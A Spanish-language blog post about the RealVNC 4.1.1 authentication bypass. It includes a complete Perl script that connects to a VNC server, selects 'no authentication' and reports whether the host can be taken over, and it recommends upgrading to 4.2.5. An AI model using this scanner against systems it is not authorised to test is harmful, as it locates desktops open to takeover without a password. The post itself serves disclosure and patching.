Mostrando las entradas con la etiqueta vulnerabilidad vnc. Mostrar todas las entradas
Mostrando las entradas con la etiqueta vulnerabilidad vnc. Mostrar todas las entradas

Grave vulnerabilidad en RealVNC 4.1.1

Hace ya algún tiempo, se informó sobre una grave vulnerabilidad del servidor vnc de RealVNC (4.1.1). Esta vulnerabilidad puede llevar a un atacante, sin grandes conocimientos en informática y programación a poder tomar el control de un equipo con este software instalado.

Esta vulnerabilidad radica en un fallo en la autentificación que el cliente VNC envía al servidor, por lo que si el cliente modifica el tipo de autentificación, éste puede acceder sin ningún tipo de restricción por contraseña al servidor.

Se pueden ver la gran cantidad de gente que suele utilizar este software haciendo click en este link.
Y mediante este simple scanner, se puede comprobar la gravedad de este fallo:



#!/usr/bin/perl

# scan for OpenVNC 4.11 authentication bypass

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1] || 5900;

$host or die("$0 \n");

#print "Connecting to $host:$port..."; $| = 1;
($sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',)) ? print "success!\n"
: die("failed\n");


#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
# print "Using protocol $protocol_version";

# get security types that we'll be ignoring
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));

# choose no authentication
print $sock "\x01";

# we should get "0000" back
$sock->read($in,4);
if(unpack('I',$in)) { die("Not vulnerable\n") };

# client initialize
print $sock "\x01";

# if the server starts sending data we are in
$sock->read($in,4);
(unpack('I',$in)) ? print("$host Vulnerable!\n") : die("Not vulnerable\n") ;

exit;

Desde aquí recomiendamos actualizar a la versión 4.2.5, disponible aquí.
Posted on 9:41 a. m. by skarvin and filed under , | 2 Comments »